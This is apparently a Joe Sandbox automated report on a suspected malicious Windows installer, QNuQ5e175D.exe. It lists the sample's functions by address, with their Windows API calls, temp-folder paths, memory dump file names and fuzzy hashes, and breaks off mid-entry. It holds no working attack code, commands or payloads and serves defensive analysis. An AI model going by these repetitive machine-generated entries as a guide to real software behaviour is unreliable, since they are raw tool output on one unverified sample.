C:\Users\user\AppData\Local\Temp\nsj924C.tmp, xrefs: 00405F54, 00405F59, 00405F5F, 00405FA0, 00405FA6, 00405FAE, 00405FB6

Memory Dump Source

Source File: 00000000.00000002.1532332230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1532275163.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532358270.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1533357258.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: 4ou$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\nsj924C.tmp
API String ID: 3248276644-44708928
Opcode ID: 7c21406a6ebf8fc224ae0ccc6b020e70a1639b7280e68367676f2d78d50147cb
Instruction ID: 6a7a19aedd3560da6e477bd72522a8c235124595f9c35bb96c459409ca5d5c37
Opcode Fuzzy Hash: 7c21406a6ebf8fc224ae0ccc6b020e70a1639b7280e68367676f2d78d50147cb
Instruction Fuzzy Hash: 28F0F42A105E6369C622333A5C05AAF1954CE86324B5A453FBC91F22C5CF3C8A42CDBE

Function 73B01979 Relevance: 7.7, APIs: 5, Instructions: 194COMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(?), ref: 73B019DA
GlobalFree.KERNEL32(?), ref: 73B01B7A
GlobalFree.KERNEL32(?), ref: 73B01B7F

Memory Dump Source

Source File: 00000000.00000002.1569059369.0000000073B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 73B00000, based on PE: true

Associated: 00000000.00000002.1568940355.0000000073B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1569611314.0000000073B04000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1569637966.0000000073B06000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73b00000_QNuQ5e175D.jbxd

Similarity

API ID: FreeGlobal
String ID:
API String ID: 2979337801-0
Opcode ID: 17cc290bfc7daee4a97d9f56303a64d15ab38b1c41cf57a17b7758b6ebd01c3f
Instruction ID: ae383de39c2ddf217f3aebf65d6aa6b561e3a58ed3b1dd9c04db493191ebb3ef
Opcode Fuzzy Hash: 17cc290bfc7daee4a97d9f56303a64d15ab38b1c41cf57a17b7758b6ebd01c3f
Instruction Fuzzy Hash: 3D51F67ED00118ABEB1E9FA4C5407AE7FBAFBC4344F04817AD506B3290F771AA458791

Function 00401DA6 Relevance: 7.6, APIs: 5, Instructions: 75windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401DBF
GetClientRect.USER32(?,?), ref: 00401E0A
LoadImageW.USER32(?,?,?,?,?,?), ref: 00401E3A
SendMessageW.USER32(?,00000172,?,00000000), ref: 00401E4E
DeleteObject.GDI32(00000000), ref: 00401E5E

Memory Dump Source

Source File: 00000000.00000002.1532332230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1532275163.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532358270.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1533357258.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 81c9bb8771d2fff4a04963bae7b32cf8a9b6882c20dc3426dc9c78dd315e4f46
Instruction ID: c57303c31a56d7bc8f2a0c5af16d3cdd50a2ae23bf22298ce01a5789fd7b985b
Opcode Fuzzy Hash: 81c9bb8771d2fff4a04963bae7b32cf8a9b6882c20dc3426dc9c78dd315e4f46
Instruction Fuzzy Hash: B9211972900119AFCB05DF98DE45AEEBBB5EB08354F14003AFA45F62A0D7789D81DB98

Function 73B016BD Relevance: 7.5, APIs: 5, Instructions: 41memorylibraryloaderCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,00000808,00000000,?,00000000,73B022D8,?,00000808), ref: 73B016D5
GlobalAlloc.KERNEL32(00000040,00000000,?,00000000,73B022D8,?,00000808), ref: 73B016DC
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,00000000,73B022D8,?,00000808), ref: 73B016F0
GetProcAddress.KERNEL32(73B022D8,00000000), ref: 73B016F7
GlobalFree.KERNEL32(00000000), ref: 73B01700

Memory Dump Source

Source File: 00000000.00000002.1569059369.0000000073B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 73B00000, based on PE: true

Associated: 00000000.00000002.1568940355.0000000073B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1569611314.0000000073B04000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1569637966.0000000073B06000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73b00000_QNuQ5e175D.jbxd

Similarity

API ID: ByteCharGlobalMultiWide$AddressAllocFreeProc
String ID:
API String ID: 1148316912-0
Opcode ID: 135bacea1ac9a883109723458246a3c2b66d5e29a96c556a3b0d13e8614fea39
Instruction ID: efa817c108a7a15fbb93065af3af4ebe1fd5a9834649f6e624332ca0e8961256
Opcode Fuzzy Hash: 135bacea1ac9a883109723458246a3c2b66d5e29a96c556a3b0d13e8614fea39
Instruction Fuzzy Hash: 04F012731061387BD63026A79D4CD9B7E9CDF9B2F9B110215F71CA21A095614C01DBF1

Function 00401C68 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401CD8
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CF0

Strings

!, xrefs: 00401CA4

Memory Dump Source

Source File: 00000000.00000002.1532332230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1532275163.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532358270.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1533357258.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: a637eb720a8cb25f7279c4c7dfa93e68b81a041eba1bee5adc213dda34b2fd0f
Instruction ID: 1a2acd516b32d4a8bba1f086ee74ddb70cdd2400578aaa813c3bd98b8eca9c32
Opcode Fuzzy Hash: a637eb720a8cb25f7279c4c7dfa93e68b81a041eba1bee5adc213dda34b2fd0f
Instruction Fuzzy Hash: 1121A071D1421AAEEB05AFA4D94AAFE7BB0EF44304F10453FF501B61D0D7B88941DB98

Function 00404DA3 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0042CA68,0042CA68,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404E44
wsprintfW.USER32 ref: 00404E4D
SetDlgItemTextW.USER32(?,0042CA68), ref: 00404E60

Strings

%u.%u%s%s, xrefs: 00404E2E

Memory Dump Source

Source File: 00000000.00000002.1532332230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1532275163.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532358270.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1533357258.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: 2c674a3dc48973326ebd454f1002488dce618ddc5f98b18a2ee0300ee1e706a4
Instruction ID: f1ad69e943298bab6ea0b6c220370dbc78873d19d133ff1b34b391d97265b774
Opcode Fuzzy Hash: 2c674a3dc48973326ebd454f1002488dce618ddc5f98b18a2ee0300ee1e706a4
Instruction Fuzzy Hash: 3011EB336041287BDB10566DAC45E9E329CDF85374F250237FE25F21D5E978C92182E8

Function 00405EF1 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,?,C:\Users\user\AppData\Local\Temp\nsj924C.tmp,?,00405F65,C:\Users\user\AppData\Local\Temp\nsj924C.tmp,C:\Users\user\AppData\Local\Temp\nsj924C.tmp, 4ou,?,C:\Users\user\AppData\Local\Temp\,00405CA3,?,756F3420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\QNuQ5e175D.exe"), ref: 00405EFF
CharNextW.USER32(00000000), ref: 00405F04
CharNextW.USER32(00000000), ref: 00405F1C

Strings

C:\Users\user\AppData\Local\Temp\nsj924C.tmp, xrefs: 00405EF2

Memory Dump Source

Source File: 00000000.00000002.1532332230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1532275163.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532358270.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1533357258.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: CharNext
String ID: C:\Users\user\AppData\Local\Temp\nsj924C.tmp
API String ID: 3213498283-1453126546
Opcode ID: a019630038ff328a8ec37a6ad8a5e0fa1ea3fa9b42c133706ff5938ffc5cdd25
Instruction ID: 0a1f1b5a9c7109d9782da40e5c64a20d368bd089a9add51530d5bf68f03dfa04
Opcode Fuzzy Hash: a019630038ff328a8ec37a6ad8a5e0fa1ea3fa9b42c133706ff5938ffc5cdd25
Instruction Fuzzy Hash: 98F09062D00A2795DA31B7645C85A7766BCEB593A0B00807BE601B72C0D7BC48818EDA

Function 00405E46 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,0040353F,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040383C,?,00000008,0000000A,0000000C), ref: 00405E4C
CharPrevW.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,0040353F,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040383C,?,00000008,0000000A,0000000C), ref: 00405E56
lstrcatW.KERNEL32(?,0040A014,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00405E68

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405E46

Memory Dump Source

Source File: 00000000.00000002.1532332230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1532275163.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532358270.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1533357258.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-1881609536
Opcode ID: 1ad634ba4b40e47f3a67f9c69e663da68b942b7adec5edae9754e9c2c01f4b37
Instruction ID: f2f0f64a112d89f35c11d852d44423d34ca235ab8761dbed5ccf1744ff487032
Opcode Fuzzy Hash: 1ad634ba4b40e47f3a67f9c69e663da68b942b7adec5edae9754e9c2c01f4b37
Instruction Fuzzy Hash: C2D05E31101534AAC6116F54AD04DDB62AC9E46384381483BF541B20A5C778595186FD

Function 73B010E1 Relevance: 6.4, APIs: 5, Instructions: 145memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?), ref: 73B01171
GlobalAlloc.KERNEL32(00000040,?), ref: 73B011E3
GlobalFree.KERNEL32 ref: 73B0124A
GlobalFree.KERNEL32(?), ref: 73B0129B
GlobalFree.KERNEL32(00000000), ref: 73B012B1

Memory Dump Source

Source File: 00000000.00000002.1569059369.0000000073B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 73B00000, based on PE: true

Associated: 00000000.00000002.1568940355.0000000073B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1569611314.0000000073B04000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1569637966.0000000073B06000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73b00000_QNuQ5e175D.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: f6a3bddd22c0bbebc8df5864dd03b1bd1767cce3603f019ce7195db68a8f801b
Instruction ID: 61a6eae1d9ecbcdbe176116bf81c7083dba21d72eeb5fe803d49bd01190666b1
Opcode Fuzzy Hash: f6a3bddd22c0bbebc8df5864dd03b1bd1767cce3603f019ce7195db68a8f801b
Instruction Fuzzy Hash: B55171FA9043059FE719DF65CA84B1A7BB8FB94318B144126F94ADBA50F734E910CF50

Function 00402663 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 65stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsj924C.tmp\System.dll), ref: 004026BA

Strings

C:\Users\user\AppData\Local\Temp\nsj924C.tmp\System.dll, xrefs: 0040267E, 004026A3, 004026B5, 00402701
C:\Users\user\AppData\Local\Temp\nsj924C.tmp, xrefs: 004026A8

Memory Dump Source

Source File: 00000000.00000002.1532332230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1532275163.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532358270.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1533357258.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: lstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsj924C.tmp$C:\Users\user\AppData\Local\Temp\nsj924C.tmp\System.dll
API String ID: 1659193697-1588490679
Opcode ID: 16bcd07f8b696e8d4d77bdf42abac6a8be44450ddb0260aebc576801c6c870aa
Instruction ID: 2d8dd356423beb748054ff885628a6ea3dfbd93006732d19d47d72bde2aed11d
Opcode Fuzzy Hash: 16bcd07f8b696e8d4d77bdf42abac6a8be44450ddb0260aebc576801c6c870aa
Instruction Fuzzy Hash: 3C11EB71A00315ABCB106FB19E466AE7761AF40748F21443FF502B71C1EAFD8891676E

Function 0040303E Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,0040321C,00000001), ref: 00403051
GetTickCount.KERNEL32 ref: 0040306F
CreateDialogParamW.USER32(0000006F,00000000,00402FB8,00000000), ref: 0040308C
ShowWindow.USER32(00000000,00000005), ref: 0040309A

Memory Dump Source

Source File: 00000000.00000002.1532332230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1532275163.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532358270.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1533357258.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: dba963b85b565a1be4b34eea4ba853e9dad76a83014f6dce089c5eda9641480c
Instruction ID: e0f0fd039426b51c9db09d8e0aed7b7b9f53d87474512ec8403aba9b2c913b41
Opcode Fuzzy Hash: dba963b85b565a1be4b34eea4ba853e9dad76a83014f6dce089c5eda9641480c
Instruction Fuzzy Hash: 93F05470602A21ABC6216F50FE09A9B7B69FB45B12B41043AF545B11ACCB384891CB9D

Function 00405570 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 0040559F
CallWindowProcW.USER32(?,?,?,?), ref: 004055F0

Part of subcall function 00404542: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 00404554

Strings

, xrefs: 00405580

Memory Dump Source

Source File: 00000000.00000002.1532332230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1532275163.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532358270.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1533357258.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 831ed5cf29225e66f7bf56ab76169cd98d2ca93c2364028159cf8fc7ca140134
Instruction ID: f144bc20a23b2fc1dad06cc698734642626ca736bc3518a3bbd7873959a32aa8
Opcode Fuzzy Hash: 831ed5cf29225e66f7bf56ab76169cd98d2ca93c2364028159cf8fc7ca140134
Instruction Fuzzy Hash: 21017171100608BBDF219F11DD84A9F376BEB84794F204037FA027A1D9C7398D529A69

Function 00403BB4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,756F3420,00000000,C:\Users\user\AppData\Local\Temp\,00403B8C,00403AA2,?,?,00000008,0000000A,0000000C), ref: 00403BCE
GlobalFree.KERNEL32(005993D0), ref: 00403BD5

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403BB4

Memory Dump Source

Source File: 00000000.00000002.1532332230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1532275163.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532358270.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1533357258.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-1881609536
Opcode ID: 522759d04011631da2fa13ba2704cf46823a2ab452b41ebb0ecea140ccdeae61
Instruction ID: 378dd3650374f781d23bf779db5809bbac3881e8a2166d277484928c36cee721
Opcode Fuzzy Hash: 522759d04011631da2fa13ba2704cf46823a2ab452b41ebb0ecea140ccdeae61
Instruction Fuzzy Hash: 20E08C336204205BC6311F15AE05B1A77786F89B2AF01402AE8407B2628BB47C528FC8

Function 00405E92 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(80000000,C:\Users\user\Desktop,0040310E,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\QNuQ5e175D.exe,C:\Users\user\Desktop\QNuQ5e175D.exe,80000000,00000003), ref: 00405E98
CharPrevW.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,0040310E,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\QNuQ5e175D.exe,C:\Users\user\Desktop\QNuQ5e175D.exe,80000000,00000003), ref: 00405EA8

Strings

C:\Users\user\Desktop, xrefs: 00405E92

Memory Dump Source

Source File: 00000000.00000002.1532332230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1532275163.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532358270.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1533357258.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-4267323751
Opcode ID: 4d9a109f9f2e29ac56c0736ccbd4fa6bf3a04a93e1f4050107f2eb61dc35f761
Instruction ID: f09b3c5ebc87e5286f4ae90cf2a9e4f9baad7a67d9a69d6c991adc66958b5f71
Opcode Fuzzy Hash: 4d9a109f9f2e29ac56c0736ccbd4fa6bf3a04a93e1f4050107f2eb61dc35f761
Instruction Fuzzy Hash: 40D05EB28019209ED3226B04EC0499F73A8EF123107868826E980A61A5D7785D818AEC

Function 00405FCC Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,004062B1,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FDC
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405FF4
CharNextA.USER32(00000000,?,00000000,004062B1,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00406005
lstrlenA.KERNEL32(00000000,?,00000000,004062B1,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 0040600E

Memory Dump Source

Source File: 00000000.00000002.1532332230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1532275163.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532358270.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
